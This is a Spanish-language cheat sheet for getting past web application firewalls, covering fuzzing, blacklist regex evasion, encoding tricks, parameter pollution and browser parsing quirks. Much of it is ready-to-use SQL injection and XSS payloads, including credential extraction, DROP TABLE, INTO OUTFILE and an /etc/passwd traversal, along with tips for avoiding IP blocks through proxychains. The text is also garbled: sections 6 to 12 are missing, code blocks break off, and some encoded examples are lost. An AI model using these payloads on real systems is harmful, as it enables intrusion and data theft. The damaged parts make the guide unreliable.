Consejo: Se pueden encontrar más detalles en una entrada de blog aquí.

Fuzzing/Fuerza Bruta:

Método:

Ejecutar un conjunto de payloads contra la URL/endpoint. Algunas buenas listas de palabras para fuzzing:

• Listas de palabras específicamente para fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

Técnica:

• Cargar tu lista de palabras en el fuzzer e iniciar la fuerza bruta.
• Registrar/trazar todas las respuestas de los diferentes payloads fuzzeados.
• Usar user-agents aleatorios, desde Chrome Desktop hasta navegador de iPhone.
• Si se detecta bloqueo, aumentar la latencia del fuzz (ej. 2-4 seg).
• Usar siempre proxychains, ya que es real la posibilidad de que tu IP sea bloqueada.

Desventajas:

• Este método a menudo falla.
• Muchas veces tu IP será bloqueada (temporal/permanentemente).

Inversión de Expresiones Regulares:

Método:

• El método más eficiente para eludir WAFs.
• Algunos WAFs se basan en hacer coincidir los payloads de ataque con las firmas en sus bases de datos.
• Si el payload coincide con la expresión regular, el WAF activa una alarma.

Técnicas:

Detección/Evasión de Lista Negra

• En este método intentamos identificar las reglas paso a paso observando las palabras clave que están en la lista negra.
• La idea es adivinar la expresión regular y crear los siguientes payloads que no usen las palabras clave bloqueadas.

Caso: Inyección SQL

• Paso 1:

Palabras clave filtradas: and, or, union
Expresión regular probable: preg_match('/(and|or|union)/i', $id)

• Intento bloqueado: union select user, password from users
• Inyección evadida: 1 || (select user from users where user_id = 1) = 'admin'

• Paso 2:

Palabras clave filtradas: and, or, union, where

• Intento bloqueado: 1 || (select user from users where user_id = 1) = 'admin'
• Inyección evadida: 1 || (select user from users limit 1) = 'admin'

• Paso 3:

Palabras clave filtradas: and, or, union, where, limit

• Intento bloqueado: 1 || (select user from users limit 1) = 'admin'
• Inyección evadida: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Paso 4:

Palabras clave filtradas: and, or, union, where, limit, group by

• Intento bloqueado: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Inyección evadida: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Paso 5:

Palabras clave filtradas: and, or, union, where, limit, group by, select

• Intento bloqueado: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Inyección evadida: 1 || 1 = 1 into outfile 'result.txt'
• Inyección evadida: 1 || substr(user,1,1) = 'a'

• Paso 6:

Palabras clave filtradas: and, or, union, where, limit, group by, select, '

• Intento bloqueado: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Inyección evadida: 1 || user_id is not null
• Inyección evadida: 1 || substr(user,1,1) = 0x61
• Inyección evadida: 1 || substr(user,1,1) = unhex(61)

• Paso 7:

Palabras clave filtradas: and, or, union, where, limit, group by, select, ', hex

• Intento bloqueado: 1 || substr(user,1,1) = unhex(61)
• Inyección evadida: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Paso 8:

Palabras clave filtradas: and, or, union, where, limit, group by, select, ', hex, substr

• Intento bloqueado: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Inyección evadida: 1 || lpad(user,7,1)

• Paso 9:

Palabras clave filtradas: and, or, union, where, limit, group by, select, ', hex, substr, espacio en blanco

• Intento bloqueado: 1 || lpad(user,7,1)
• Inyección evadida: 1%0b||%0blpad(user,7,1)

Ofuscación:

Método:

• Codificar el payload en diferentes codificaciones (un enfoque de prueba y error).
• Puedes codificar todo el payload, o algunas partes, y probar recursivamente.

Técnicas:

1. Alternancia de mayúsculas/minúsculas

• Algunos WAFs mal desarrollados filtran selectivamente según el caso de mayúsculas/minúsculas.
• Podemos combinar caracteres en mayúsculas y minúsculas para desarrollar payloads eficientes.

Estándar: <script>alert()</script>
Evadido: <ScRipT>alert()</sCRipT>

Estándar: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Evadido: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. Codificación URL

• Codificar payloads normales con codificación %/URL.
• Se puede hacer con herramientas en línea como esta.
• Burp incluye un codificador/decodificador incorporado.

Bloqueado: <svG/x=">"/oNloaD=confirm()//
Evadido: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloqueado: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Evadido: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalización Unicode

• Los caracteres ASCII en codificación Unicode proporcionan grandes variantes para la evasión.
• Puedes codificar todo o parte del payload para obtener resultados.

Estándar: <marquee onstart=prompt()>
Ofuscado: <marquee onstart=\u0070r\u06f\u006dpt()>

Bloqueado: /?redir=http://google.com
Evadido: /?redir=http://google。com (Alternativa Unicode)

Bloqueado: <marquee loop=1 onfinish=alert()>x
Evadido: ＜marquee loop＝1 onfinish＝alert︵1)>x (Alternativa Unicode)

CONSEJO: Echa un vistazo a este y este reportes en HackerOne. :)

Estándar: ../../etc/passwd
Ofuscado: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Representación HTML

• A menudo, las aplicaciones web codifican caracteres especiales en codificación HTML y los renderizan en consecuencia.
• Esto nos lleva a casos básicos de evasión con codificación HTML (numérica/general).

Estándar: ">
Codificado: "><img src=x onerror=confirm()> (Forma general)
Codificado: "><img src=x onerror=confirm()> (Referencia numérica)

5. Codificación Mixta

• A veces, las reglas del WAF tienden a filtrar un tipo específico de codificación.
• Este tipo de filtros se puede evadir con payloads de codificación mixta.
• Las tabulaciones y los saltos de línea añaden más ofuscación.

Ofuscado:``` XSS

13. Rompedores de Tokens

• Los ataques a los tokenizadores intentan romper la lógica de dividir una solicitud en tokens con la ayuda de rompedores de tokens.

• Los rompedores de tokens son símbolos que permiten afectar la correspondencia entre un elemento de una cadena y un token determinado, y así evitar la búsqueda por firma.

• Sin embargo, la solicitud debe seguir siendo válida al usar rompedores de tokens.

• Caso: Token desconocido para el tokenizador

  • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Caso: Contexto desconocido para el analizador (Nótese el paréntesis sin contexto)

  • Payload 1: ?id=123);DROP TABLE users --
  • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

CONSEJO: Se pueden crear más payloads mediante esta hoja de referencia.

14. Ofuscación en Otros Formatos

• Muchas aplicaciones web admiten diferentes tipos de codificación y pueden interpretar la codificación (ver más abajo).
• Ofuscar nuestro payload a un formato no soportado por el WAF pero que el servidor sí puede interpretar para colar nuestro payload.

Caso: IIS

• IIS6, 7.5, 8 y 10 (ASPX v4.x) permiten interpretaciones de caracteres IBM037.
• Podemos codificar nuestro payload y enviar los parámetros codificados con la consulta.

Solicitud original:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

La siguiente tabla muestra el soporte de diferentes codificaciones de caracteres en los sistemas probados (cuando los mensajes podían ofuscarse mediante ellas):

CONSEJO: Puedes usar este pequeño script de Python para convertir tus payloads y parámetros a las codificaciones deseadas.

Contaminación de Parámetros HTTP

Método:

• Este método de ataque se basa en cómo el servidor interpreta parámetros con el mismo nombre.
• Las posibles oportunidades de elusión aquí son:
  • El servidor utiliza el último parámetro recibido, y el WAF solo verifica el primero.
  • El servidor une el valor de parámetros similares, y el WAF los verifica por separado.

Técnica:

• La idea consiste en enumerar cómo el servidor interpreta los parámetros.
• En tal caso, podemos pasar el payload a un parámetro que no esté siendo inspeccionado por el WAF.
• También es útil distribuir un payload entre varios parámetros que luego el servidor puede concatenar.

A continuación se muestra una comparación de diferentes servidores y sus interpretaciones relativas:

Fragmentación de Parámetros HTTP

• HPF se basa en el principio donde el servidor une el valor pasado a través de los parámetros.
• Podemos dividir el payload en diferentes componentes y luego pasar los valores mediante los parámetros.

Payload de ejemplo: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
URL de consulta de ejemplo: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

CONSEJO: Un ejemplo real de cómo se pueden crear elusiones usando este método se puede encontrar aquí.

Errores de Navegador:

Errores de Juego de Caracteres:

• Podemos intentar cambiar el encabezado de juego de caracteres a un Unicode más alto (p. ej., UTF-32) y probar payloads.
• Cuando el sitio decodifica la cadena, el payload se activa.

Ejemplo de solicitud:

Cuando el sitio se carga, se codificará a la codificación UTF-32 que establecimos, y luego, como la codificación de salida de la página es UTF-8, se representará como: "<script>alert (1) </ script> lo que activará XSS.

Payload final codificado URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Estándar: <a href="javascript:alert()">
Ofuscado: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Errores de análisis:

• El RFC establece que los NodeNames no pueden comenzar con espacio en blanco.
• Pero podemos usar caracteres especiales como %, //, !, ?, etc.

Ejemplos:

• <// style=x:expression\28write(1)\29> - Funciona hasta IE7 (Fuente)
• <!--[if]><script>alert(1)</script --> - Funciona hasta IE9 (Referencia)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funciona en IE7 (Referencia)
• <%div%20style=xss:expression(prompt(1))> - Funciona hasta IE7

Separadores Unicode:

• Cada navegador tiene su propio conjunto de caracteres de separadores.
• Podemos fuzzear el rango de caracteres de 0x00 a 0xFF y obtener el conjunto de separadores para cada navegador.
• Podemos usar estos separadores en lugares donde se requiere un espacio.

Aquí hay una lista compilada de separadores por @Masato Kinugawa:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Un ejemplo de payload exótico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

• Caso: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)